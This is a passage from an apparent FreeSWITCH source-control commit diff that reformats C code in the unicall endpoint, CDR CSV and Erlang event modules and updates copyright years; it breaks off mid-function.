+ uc_callparm_set_destination_number(callparms, outbound_profile->destination_number);
+ uc_callparm_set_destination_ton(callparms, outbound_profile->destination_number_ton);
+ uc_callparm_set_destination_npi(callparms, outbound_profile->destination_number_numplan);
+ //uc_callparm_set_destination_sub_addr_number(callparms, num);
+ //uc_callparm_set_destination_sub_addr_ton(callparms, ton);
+ //uc_callparm_set_destination_sub_addr_npi(callparms, npi);
- //uc_callparm_set_redirecting_cause(callparms, cause);
- //uc_callparm_set_redirecting_presentation(callparms, pres);
- uc_callparm_set_redirecting_number(callparms, outbound_profile->rdnis);
- uc_callparm_set_redirecting_ton(callparms, outbound_profile->rdnis_ton);
- uc_callparm_set_redirecting_npi(callparms, outbound_profile->rdnis_numplan);
- //uc_callparm_set_redirecting_subaddr(callparms, num);
- //uc_callparm_set_redirecting_subaddr_ton(callparms, ton);
- //uc_callparm_set_redirecting_subaddr_npi(callparms, npi);
+ //uc_callparm_set_redirecting_cause(callparms, cause);
+ //uc_callparm_set_redirecting_presentation(callparms, pres);
+ uc_callparm_set_redirecting_number(callparms, outbound_profile->rdnis);
+ uc_callparm_set_redirecting_ton(callparms, outbound_profile->rdnis_ton);
+ uc_callparm_set_redirecting_npi(callparms, outbound_profile->rdnis_numplan);
+ //uc_callparm_set_redirecting_subaddr(callparms, num);
+ //uc_callparm_set_redirecting_subaddr_ton(callparms, ton);
+ //uc_callparm_set_redirecting_subaddr_npi(callparms, npi);
- //uc_callparm_set_original_called_number(callparms, num);
- //uc_callparm_set_original_called_number_ton(callparms, ton);
- //uc_callparm_set_original_called_number_npi(callparms, npi);
+ //uc_callparm_set_original_called_number(callparms, num);
+ //uc_callparm_set_original_called_number_ton(callparms, ton);
+ //uc_callparm_set_original_called_number_npi(callparms, npi);
-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "caller id name '%s'\n", outbound_profile->caller_id_name);
-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "caller id number '%s'\n", outbound_profile->caller_id_number);
- uc_callparm_set_originating_name(callparms, outbound_profile->caller_id_name);
- uc_callparm_set_originating_number(callparms, outbound_profile->caller_id_number);
- screen = switch_test_flag(outbound_profile, SWITCH_CPF_SCREEN);
- hide = switch_test_flag(outbound_profile, SWITCH_CPF_HIDE_NUMBER);
- if (!screen && !hide)
- uc_callparm_set_originating_presentation(callparms, UC_PRES_ALLOWED_USER_NUMBER_NOT_SCREENED);
- else if (!screen && hide)
- uc_callparm_set_originating_presentation(callparms, UC_PRES_PROHIB_USER_NUMBER_NOT_SCREENED);
- else if (screen && !hide)
- uc_callparm_set_originating_presentation(callparms, UC_PRES_ALLOWED_USER_NUMBER_PASSED_SCREEN);
- else
- uc_callparm_set_originating_presentation(callparms, UC_PRES_PROHIB_USER_NUMBER_PASSED_SCREEN);
- uc_callparm_set_originating_ton(callparms, outbound_profile->caller_ton);
- uc_callparm_set_originating_npi(callparms, outbound_profile->caller_numplan);
- //uc_callparm_set_originating_sub_addr_number(callparms, num);
- //uc_callparm_set_originating_sub_addr_ton(callparms, ton);
- //uc_callparm_set_originating_sub_addr_npi(callparms, npi);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "caller id name '%s'\n", outbound_profile->caller_id_name);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "caller id number '%s'\n", outbound_profile->caller_id_number);
+ uc_callparm_set_originating_name(callparms, outbound_profile->caller_id_name);
+ uc_callparm_set_originating_number(callparms, outbound_profile->caller_id_number);
+ screen = switch_test_flag(outbound_profile, SWITCH_CPF_SCREEN);
+ hide = switch_test_flag(outbound_profile, SWITCH_CPF_HIDE_NUMBER);
+ if (!screen && !hide)
+ uc_callparm_set_originating_presentation(callparms, UC_PRES_ALLOWED_USER_NUMBER_NOT_SCREENED);
+ else if (!screen && hide)
+ uc_callparm_set_originating_presentation(callparms, UC_PRES_PROHIB_USER_NUMBER_NOT_SCREENED);
+ else if (screen && !hide)
+ uc_callparm_set_originating_presentation(callparms, UC_PRES_ALLOWED_USER_NUMBER_PASSED_SCREEN);
+ else
+ uc_callparm_set_originating_presentation(callparms, UC_PRES_PROHIB_USER_NUMBER_PASSED_SCREEN);
+ uc_callparm_set_originating_ton(callparms, outbound_profile->caller_ton);
+ uc_callparm_set_originating_npi(callparms, outbound_profile->caller_numplan);
+ //uc_callparm_set_originating_sub_addr_number(callparms, num);
+ //uc_callparm_set_originating_sub_addr_ton(callparms, ton);
+ //uc_callparm_set_originating_sub_addr_npi(callparms, npi);
- uc_callparm_set_calling_party_category(callparms, UC_CALLER_CATEGORY_NATIONAL_SUBSCRIBER_CALL);
-
- makecall.callparms = callparms;
- makecall.call = NULL;
+ uc_callparm_set_calling_party_category(callparms, UC_CALLER_CATEGORY_NATIONAL_SUBSCRIBER_CALL);
+ makecall.callparms = callparms;
+ makecall.call = NULL;
+
#if 0
- if ((ret = uc_call_control(uc, UC_OP_MAKECALL, 0, (void *) &makecall)) < 0)
- {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "Make call failed - %s\n", uc_ret_to_str(ret));
- return SWITCH_STATUS_FAILED;
- }
- /*endif*/
+ if ((ret = uc_call_control(uc, UC_OP_MAKECALL, 0, (void *) &makecall)) < 0) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "Make call failed - %s\n", uc_ret_to_str(ret));
+ return SWITCH_STATUS_FAILED;
+ }
+ /*endif */
#endif
- free(callparms);
+ free(callparms);
- switch_channel_set_flag(channel, CF_OUTBOUND);
- switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
- switch_channel_set_state(channel, CS_INIT);
-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "unicall_outgoing_channel(%p) SUCCESS\n", (void *) session);
- return SWITCH_CAUSE_SUCCESS;
+
+ switch_channel_set_state(channel, CS_INIT);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "unicall_outgoing_channel(%p) SUCCESS\n", (void *) session);
+ return SWITCH_CAUSE_SUCCESS;
}
static switch_status_t unicall_receive_event(switch_core_session_t *session, switch_event_t *event)
{
- struct private_object *tech_pvt = switch_core_session_get_private(session);
- char *body = switch_event_get_body(event);
+ struct private_object *tech_pvt = switch_core_session_get_private(session);
+ char *body = switch_event_get_body(event);
- switch_assert(tech_pvt != NULL);
+ switch_assert(tech_pvt != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unicall_receive_event(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unicall_receive_event(%p)\n", (void *) session);
- if (body == NULL)
- body = "";
+ if (body == NULL)
+ body = "";
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static void *SWITCH_THREAD_FUNC unicall_thread_run(switch_thread_t *thread, void *obj)
{
- fd_set read;
- fd_set write;
- fd_set oob;
+ fd_set read;
+ fd_set write;
+ fd_set oob;
int fd;
- int ret;
- switch_event_t *s_event;
- uc_t *uc = (uc_t *) obj;
+ int ret;
+ switch_event_t *s_event;
+ uc_t *uc = (uc_t *) obj;
#if 0
- switch_mutex_init(&chanmap.mutex, SWITCH_MUTEX_NESTED, module_pool);
+ switch_mutex_init(&chanmap.mutex, SWITCH_MUTEX_NESTED, module_pool);
#endif
- if (switch_event_create(&s_event, SWITCH_EVENT_PUBLISH) == SWITCH_STATUS_SUCCESS)
- {
- switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "service", "_uc._tcp");
- switch_event_fire(&s_event);
- }
+ if (switch_event_create(&s_event, SWITCH_EVENT_PUBLISH) == SWITCH_STATUS_SUCCESS) {
+ switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "service", "_uc._tcp");
+ switch_event_fire(&s_event);
+ }
- uc_get_device_handle(uc, 0, &fd);
- if ((ret = uc_call_control(uc, UC_OP_UNBLOCK, 0, (void *) (intptr_t) -1)) < 0)
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Unblock failed - %s\n", uc_ret_to_str(ret));
- /*endif*/
- FD_ZERO(&read);
- FD_ZERO(&write);
- FD_ZERO(&oob);
- for (;;)
- {
+ uc_get_device_handle(uc, 0, &fd);
+ if ((ret = uc_call_control(uc, UC_OP_UNBLOCK, 0, (void *) (intptr_t) - 1)) < 0)
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Unblock failed - %s\n", uc_ret_to_str(ret));
+ /*endif */
+ FD_ZERO(&read);
+ FD_ZERO(&write);
+ FD_ZERO(&oob);
+ for (;;) {
FD_SET(fd, &read);
//FD_SET(fd, &write);
//FD_SET(fd, &oob);
- if (select(fd + 1, &read, NULL, NULL, NULL))
- {
- if (FD_ISSET(fd, &read))
- {
- uc_check_event(uc);
- uc_schedule_run(uc);
+ if (select(fd + 1, &read, NULL, NULL, NULL)) {
+ if (FD_ISSET(fd, &read)) {
+ uc_check_event(uc);
+ uc_schedule_run(uc);
}
}
}
- uc_delete(uc);
- return NULL;
+ uc_delete(uc);
+ return NULL;
}
static void unicall_thread_launch(uc_t *uc)
{
- switch_thread_t *thread;
- switch_threadattr_t *thd_attr = NULL;
+ switch_thread_t *thread;
+ switch_threadattr_t *thd_attr = NULL;
- switch_threadattr_create(&thd_attr, module_pool);
- switch_threadattr_detach_set(thd_attr, 1);
- switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
- switch_thread_create(&thread, thd_attr, unicall_thread_run, uc, module_pool);
+ switch_threadattr_create(&thd_attr, module_pool);
+ switch_threadattr_detach_set(thd_attr, 1);
+ switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+ switch_thread_create(&thread, thd_attr, unicall_thread_run, uc, module_pool);
}
-switch_state_handler_table_t unicall_state_handlers =
-{
- /*.on_init */ unicall_on_init,
- /*.on_routing */ unicall_on_routing,
- /*.on_execute */ unicall_on_execute,
- /*.on_hangup */ unicall_on_hangup,
- /*.on_exchange_media */ unicall_on_exchange_media,
- /*.on_soft_execute */ unicall_on_soft_execute,
- /*.on_consume_media*/ NULL,
- /*.on_hibernate*/ NULL,
- /*.on_reset*/ NULL,
- /*.on_park*/ NULL,
- /*.on_reporting*/ NULL,
- /*.on_destroy*/ unicall_on_destroy
-
+switch_state_handler_table_t unicall_state_handlers = {
+ /*.on_init */ unicall_on_init,
+ /*.on_routing */ unicall_on_routing,
+ /*.on_execute */ unicall_on_execute,
+ /*.on_hangup */ unicall_on_hangup,
+ /*.on_exchange_media */ unicall_on_exchange_media,
+ /*.on_soft_execute */ unicall_on_soft_execute,
+ /*.on_consume_media */ NULL,
+ /*.on_hibernate */ NULL,
+ /*.on_reset */ NULL,
+ /*.on_park */ NULL,
+ /*.on_reporting */ NULL,
+ /*.on_destroy */ unicall_on_destroy
};
-switch_io_routines_t unicall_io_routines =
-{
- /*.outgoing_channel */ unicall_outgoing_channel,
- /*.read_frame */ unicall_read_frame,
- /*.write_frame */ unicall_write_frame,
- /*.kill_channel */ unicall_kill_channel,
- /*.send_dtmf */ unicall_send_dtmf,
- /*.receive_message */ unicall_receive_message,
- /*.receive_event */ unicall_receive_event
+switch_io_routines_t unicall_io_routines = {
+ /*.outgoing_channel */ unicall_outgoing_channel,
+ /*.read_frame */ unicall_read_frame,
+ /*.write_frame */ unicall_write_frame,
+ /*.kill_channel */ unicall_kill_channel,
+ /*.send_dtmf */ unicall_send_dtmf,
+ /*.receive_message */ unicall_receive_message,
+ /*.receive_event */ unicall_receive_event
};
static switch_status_t config_unicall(int reload)
{
- const char *cf = "unicall.conf";
- switch_xml_t cfg;
- switch_xml_t xml;
- switch_xml_t settings;
- switch_xml_t param;
- switch_xml_t spans;
- switch_xml_t span;
- int current_span = 0;
- int min_span = 0;
- int max_span = 0;
- int logging_level;
- int i;
- char *id;
- span_data_t *sp;
+ const char *cf = "unicall.conf";
+ switch_xml_t cfg;
+ switch_xml_t xml;
+ switch_xml_t settings;
+ switch_xml_t param;
+ switch_xml_t spans;
+ switch_xml_t span;
+ int current_span = 0;
+ int min_span = 0;
+ int max_span = 0;
+ int logging_level;
+ int i;
+ char *id;
+ span_data_t *sp;
- if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL)))
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Opening of %s failed\n", cf);
- return SWITCH_STATUS_TERM;
- }
+ if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Opening of %s failed\n", cf);
+ return SWITCH_STATUS_TERM;
+ }
- if ((settings = switch_xml_child(cfg, "settings")))
- {
- for (param = switch_xml_child(settings, "param"); param; param = param->next)
- {
- char *var = (char *) switch_xml_attr_soft(param, "name");
- char *val = (char *) switch_xml_attr_soft(param, "value");
+ if ((settings = switch_xml_child(cfg, "settings"))) {
+ for (param = switch_xml_child(settings, "param"); param; param = param->next) {
+ char *var = (char *) switch_xml_attr_soft(param, "name");
+ char *val = (char *) switch_xml_attr_soft(param, "value");
- if (!strcmp(var, "debug"))
- {
- globals.debug = atoi(val);
- }
- else if (!strcmp(var, "ms-per-frame"))
- {
- globals.frame_duration = atoi(val);
- }
- else if (!strcmp(var, "dtmf-on"))
- {
- globals.dtmf_on = atoi(val);
- }
- else if (!strcmp(var, "dtmf-off"))
- {
- globals.dtmf_off = atoi(val);
- }
- else if (!strcmp(var, "dialplan"))
- {
- set_global_dialplan(val);
- }
- else if (!strcmp(var, "suppress-dtmf-tone"))
- {
- globals.suppress_dtmf_tone = switch_true(val);
- }
- else if (!strcmp(var, "ignore-dtmf-tone"))
- {
- globals.ignore_dtmf_tone = switch_true(val);
- }
- }
- }
- spans = switch_xml_child(cfg, "spans");
- id = NULL;
- for (span = switch_xml_child(spans, "span"); span; span = span->next)
- {
- id = (char *) switch_xml_attr(span, "id");
+ if (!strcmp(var, "debug")) {
+ globals.debug = atoi(val);
+ } else if (!strcmp(var, "ms-per-frame")) {
+ globals.frame_duration = atoi(val);
+ } else if (!strcmp(var, "dtmf-on")) {
+ globals.dtmf_on = atoi(val);
+ } else if (!strcmp(var, "dtmf-off")) {
+ globals.dtmf_off = atoi(val);
+ } else if (!strcmp(var, "dialplan")) {
+ set_global_dialplan(val);
+ } else if (!strcmp(var, "suppress-dtmf-tone")) {
+ globals.suppress_dtmf_tone = switch_true(val);
+ } else if (!strcmp(var, "ignore-dtmf-tone")) {
+ globals.ignore_dtmf_tone = switch_true(val);
+ }
+ }
+ }
+ spans = switch_xml_child(cfg, "spans");
+ id = NULL;
+ for (span = switch_xml_child(spans, "span"); span; span = span->next) {
+ id = (char *) switch_xml_attr(span, "id");
- current_span = 0;
+ current_span = 0;
- if (id)
- {
- char *p;
+ if (id) {
+ char *p;
- min_span = atoi(id);
- if ((p = strchr(id, '-')))
- {
- p++;
- max_span = atoi(p);
- }
- else
- {
- max_span = min_span;
- }
- if (min_span < 1 || max_span < min_span)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid Span Config! [%s]\n", id);
- continue;
- }
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Missing SPAN ID!\n");
- continue;
- }
- for (i = min_span; i <= max_span; i++)
- {
- current_span = i;
+ min_span = atoi(id);
+ if ((p = strchr(id, '-'))) {
+ p++;
+ max_span = atoi(p);
+ } else {
+ max_span = min_span;
+ }
+ if (min_span < 1 || max_span < min_span) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid Span Config! [%s]\n", id);
+ continue;
+ }
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Missing SPAN ID!\n");
+ continue;
+ }
+ for (i = min_span; i <= max_span; i++) {
+ current_span = i;
- if (current_span <= 0 || current_span > MAX_SPANS)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid SPAN %d!\n", current_span);
- current_span = 0;
- continue;
- }
- if (span_data[current_span] == NULL)
- {
- if ((span_data[current_span] = switch_core_alloc(module_pool, sizeof(*span_data[current_span]))) == NULL)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "MEMORY ERROR\n");
- break;
- }
- sp = span_data[current_span];
- memset(sp, 0, sizeof(*sp));
- sp->span = current_span;
- sp->protocol_class = NULL;
- sp->protocol_variant = NULL;
- sp->protocol_end = UC_MODE_CPE;
- sp->outgoing_ok = TRUE;
- }
- sp = span_data[current_span];
- sp->id = strdup(id);
- for (param = switch_xml_child(span, "param"); param; param = param->next)
- {
- char *var = (char *) switch_xml_attr_soft(param, "name");
- char *val = (char *) switch_xml_attr_soft(param, "value");
+ if (current_span <= 0 || current_span > MAX_SPANS) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid SPAN %d!\n", current_span);
+ current_span = 0;
+ continue;
+ }
+ if (span_data[current_span] == NULL) {
+ if ((span_data[current_span] = switch_core_alloc(module_pool, sizeof(*span_data[current_span]))) == NULL) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "MEMORY ERROR\n");
+ break;
+ }
+ sp = span_data[current_span];
+ memset(sp, 0, sizeof(*sp));
+ sp->span = current_span;
+ sp->protocol_class = NULL;
+ sp->protocol_variant = NULL;
+ sp->protocol_end = UC_MODE_CPE;
+ sp->outgoing_ok = TRUE;
+ }
+ sp = span_data[current_span];
+ sp->id = strdup(id);
+ for (param = switch_xml_child(span, "param"); param; param = param->next) {
+ char *var = (char *) switch_xml_attr_soft(param, "name");
+ char *val = (char *) switch_xml_attr_soft(param, "value");
- if (strcmp(var, "protocol-class") == 0)
- {
- sp->protocol_class = strdup(val);
- }
- else if (strcmp(var, "protocol-variant") == 0)
- {
- sp->protocol_variant = strdup(val);
- }
- else if (strcmp(var, "protocol-end") == 0)
- {
- if (strcasecmp(val, "co") == 0)
- sp->protocol_end = UC_MODE_CO;
- else if (strcasecmp(val, "cpe") == 0)
- sp->protocol_end = UC_MODE_CPE;
- else if (strcasecmp(val, "peer") == 0)
- sp->protocol_end = UC_MODE_PEER;
- else
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "UNKNOWN protocol-end TYPE %s\n", val);
- }
- else if (strcmp(var, "outgoing-allowed") == 0)
- {
- sp->outgoing_ok = switch_true(var);
- }
- else if (strcmp(var, "dialplan") == 0)
- {
- sp->dialplan = strdup(val);
- }
- else if (strcmp(var, "context") == 0)
- {
- sp->context = strdup(val);
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "UNKNOWN PARAMETER %s\n", var);
- }
- }
- }
- }
- switch_xml_free(xml);
+ if (strcmp(var, "protocol-class") == 0) {
+ sp->protocol_class = strdup(val);
+ } else if (strcmp(var, "protocol-variant") == 0) {
+ sp->protocol_variant = strdup(val);
+ } else if (strcmp(var, "protocol-end") == 0) {
+ if (strcasecmp(val, "co") == 0)
+ sp->protocol_end = UC_MODE_CO;
+ else if (strcasecmp(val, "cpe") == 0)
+ sp->protocol_end = UC_MODE_CPE;
+ else if (strcasecmp(val, "peer") == 0)
+ sp->protocol_end = UC_MODE_PEER;
+ else
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "UNKNOWN protocol-end TYPE %s\n", val);
+ } else if (strcmp(var, "outgoing-allowed") == 0) {
+ sp->outgoing_ok = switch_true(var);
+ } else if (strcmp(var, "dialplan") == 0) {
+ sp->dialplan = strdup(val);
+ } else if (strcmp(var, "context") == 0) {
+ sp->context = strdup(val);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "UNKNOWN PARAMETER %s\n", var);
+ }
+ }
+ }
+ }
+ switch_xml_free(xml);
- if (globals.dialplan == NULL)
- set_global_dialplan("XML");
+ if (globals.dialplan == NULL)
+ set_global_dialplan("XML");
- globals.configured_spans = 0;
- for (current_span = 1; current_span < MAX_SPANS; current_span++)
- {
- if (span_data[current_span])
- {
- sp = span_data[current_span];
- if ((sp->uc = uc_create(sp->id,
- sp->protocol_class,
- sp->protocol_variant,
- sp->protocol_end,
- sp->outgoing_ok)) == NULL)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot launch span %d\n", current_span);
- return SWITCH_STATUS_FALSE;
- }
- uc_get_device_handle(sp->uc, 0, &sp->fd);
- uc_set_signaling_callback(sp->uc, handle_uc_event, (void *) (intptr_t) current_span);
- logging_level = UC_LOG_SEVERITY_MASK | UC_LOG_SHOW_TAG | UC_LOG_SHOW_PROTOCOL;
- uc_set_logging(sp->uc, logging_level, 1, sp->id);
+ globals.configured_spans = 0;
+ for (current_span = 1; current_span < MAX_SPANS; current_span++) {
+ if (span_data[current_span]) {
+ sp = span_data[current_span];
+ if ((sp->uc = uc_create(sp->id, sp->protocol_class, sp->protocol_variant, sp->protocol_end, sp->outgoing_ok)) == NULL) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot launch span %d\n", current_span);
+ return SWITCH_STATUS_FALSE;
+ }
+ uc_get_device_handle(sp->uc, 0, &sp->fd);
+ uc_set_signaling_callback(sp->uc, handle_uc_event, (void *) (intptr_t) current_span);
+ logging_level = UC_LOG_SEVERITY_MASK | UC_LOG_SHOW_TAG | UC_LOG_SHOW_PROTOCOL;
+ uc_set_logging(sp->uc, logging_level, 1, sp->id);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Launched span %d\n", current_span);
- unicall_thread_launch(sp->uc);
- switch_mutex_lock(globals.hash_mutex);
- globals.configured_spans++;
- switch_mutex_unlock(globals.hash_mutex);
- }
- }
- return SWITCH_STATUS_SUCCESS;
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Launched span %d\n", current_span);
+ unicall_thread_launch(sp->uc);
+ switch_mutex_lock(globals.hash_mutex);
+ globals.configured_spans++;
+ switch_mutex_unlock(globals.hash_mutex);
+ }
+ }
+ return SWITCH_STATUS_SUCCESS;
}
SWITCH_MODULE_LOAD_FUNCTION(mod_unicall_load)
{
- int logging_level;
- switch_status_t status = SWITCH_STATUS_SUCCESS;
+ int logging_level;
+ switch_status_t status = SWITCH_STATUS_SUCCESS;
- uc_start();
- uc_set_error_handler(unicall_report);
- uc_set_message_handler(unicall_message);
- logging_level = UC_LOG_SEVERITY_MASK;
- uc_set_logging(NULL, logging_level, 1, NULL);
+ uc_start();
+ uc_set_error_handler(unicall_report);
+ uc_set_message_handler(unicall_message);
+ logging_level = UC_LOG_SEVERITY_MASK;
+ uc_set_logging(NULL, logging_level, 1, NULL);
memset(span_data, 0, sizeof(span_data));
- module_pool = pool;
+ module_pool = pool;
memset(&globals, 0, sizeof(globals));
switch_core_hash_init(&globals.call_hash, module_pool);
@@ -1979,17 +1874,17 @@
switch_mutex_init(&globals.hash_mutex, SWITCH_MUTEX_NESTED, module_pool);
switch_mutex_init(&globals.channel_mutex, SWITCH_MUTEX_NESTED, module_pool);
- if ((status = config_unicall(FALSE)) != SWITCH_STATUS_SUCCESS)
- return status;
+ if ((status = config_unicall(FALSE)) != SWITCH_STATUS_SUCCESS)
+ return status;
- *module_interface = switch_loadable_module_create_module_interface(pool, modname);
- unicall_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
- unicall_endpoint_interface->interface_name = "unicall";
- unicall_endpoint_interface->io_routines = &unicall_io_routines;
- unicall_endpoint_interface->state_handler = &unicall_state_handlers;
+ *module_interface = switch_loadable_module_create_module_interface(pool, modname);
+ unicall_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
+ unicall_endpoint_interface->interface_name = "unicall";
+ unicall_endpoint_interface->io_routines = &unicall_io_routines;
+ unicall_endpoint_interface->state_handler = &unicall_state_handlers;
- /* Indicate that the module should continue to be loaded */
- return SWITCH_STATUS_SUCCESS;
+ /* Indicate that the module should continue to be loaded */
+ return SWITCH_STATUS_SUCCESS;
}
/*
@@ -2001,10 +1896,10 @@
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_unicall_shutdown)
{
- int x = 0;
+ int x = 0;
- for (x = 0, running = -1; running && x <= 100; x++)
- switch_yield(20000);
- uc_end();
- return SWITCH_STATUS_SUCCESS;
+ for (x = 0, running = -1; running && x <= 100; x++)
+ switch_yield(20000);
+ uc_end();
+ return SWITCH_STATUS_SUCCESS;
}
Modified: freeswitch/trunk/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c (16578 => 16579)
--- freeswitch/trunk/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -161,7 +161,7 @@
do_rotate(fd);
switch_yield(250000);
}
-
+
if (bytes_in > 0) {
fd->bytes += bytes_in;
}
@@ -215,15 +215,16 @@
free(buf);
}
}
-
+
g_template_str = (const char *) switch_core_hash_find(globals.template_hash, globals.default_template);
if ((accountcode = switch_channel_get_variable(channel, "ACCOUNTCODE"))) {
a_template_str = (const char *) switch_core_hash_find(globals.template_hash, accountcode);
}
-
+
if (!g_template_str) {
- g_template_str = "\"${accountcode}\",\"${caller_id_number}\",\"${destination_number}\",\"${context}\",\"${caller_id}\",\"${channel_name}\",\"${bridge_channel}\",\"${last_app}\",\"${last_arg}\",\"${start_stamp}\",\"${answer_stamp}\",\"${end_stamp}\",\"${duration}\",\"${billsec}\",\"${hangup_cause}\",\"${amaflags}\",\"${uuid}\",\"${userfield}\";";
+ g_template_str =
+ "\"${accountcode}\",\"${caller_id_number}\",\"${destination_number}\",\"${context}\",\"${caller_id}\",\"${channel_name}\",\"${bridge_channel}\",\"${last_app}\",\"${last_arg}\",\"${start_stamp}\",\"${answer_stamp}\",\"${end_stamp}\",\"${duration}\",\"${billsec}\",\"${hangup_cause}\",\"${amaflags}\",\"${uuid}\",\"${userfield}\";";
}
if (!a_template_str) {
@@ -295,11 +296,11 @@
/*.on_hangup */ NULL,
/*.on_exchange_media */ NULL,
/*.on_soft_execute */ NULL,
- /*.on_consume_media*/ NULL,
- /*.on_hibernate*/ NULL,
- /*.on_reset*/ NULL,
- /*.on_park*/ NULL,
- /*.on_reporting*/ my_on_reporting
+ /*.on_consume_media */ NULL,
+ /*.on_hibernate */ NULL,
+ /*.on_reset */ NULL,
+ /*.on_park */ NULL,
+ /*.on_reporting */ my_on_reporting
};
@@ -315,11 +316,11 @@
switch_core_hash_init(&globals.template_hash, pool);
globals.pool = pool;
-
+
switch_core_hash_insert(globals.template_hash, "default", default_template);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding default template.\n");
globals.legs = CDR_LEG_A;
-
+
if ((xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
if ((settings = switch_xml_child(cfg, "settings"))) {
@@ -344,9 +345,11 @@
globals.rotate = switch_true(val);
} else if (!strcasecmp(var, "default-template")) {
globals.default_template = switch_core_strdup(pool, val);
- } else if (!strcasecmp(var, "master-file-only")) {
- globals.masterfileonly = switch_true(val);
- }
+ } else if (!strcasecmp(var, "master-file-only")) {
+
+globals.masterfileonly = switch_true(val);
+
+}
}
}
@@ -413,7 +416,7 @@
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_cdr_csv_shutdown)
{
- globals.shutdown = 1;
+ globals.shutdown = 1;
switch_event_unbind_callback(event_handler);
switch_core_remove_state_handler(&state_handlers);
Modified: freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/ei_helpers.c (16578 => 16579)
--- freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/ei_helpers.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/ei_helpers.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -54,23 +54,24 @@
} while (0)
-void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to) {
+void ei_link(listener_t *listener, erlang_pid * from, erlang_pid * to)
+{
char msgbuf[2048];
char *s;
int index = 0;
int ret;
- index = 5; /* max sizes: */
- ei_encode_version(msgbuf,&index); /* 1 */
- ei_encode_tuple_header(msgbuf,&index,3);
- ei_encode_long(msgbuf,&index,ERL_LINK);
- ei_encode_pid(msgbuf,&index,from); /* 268 */
- ei_encode_pid(msgbuf,&index,to); /* 268 */
+ index = 5; /* max sizes: */
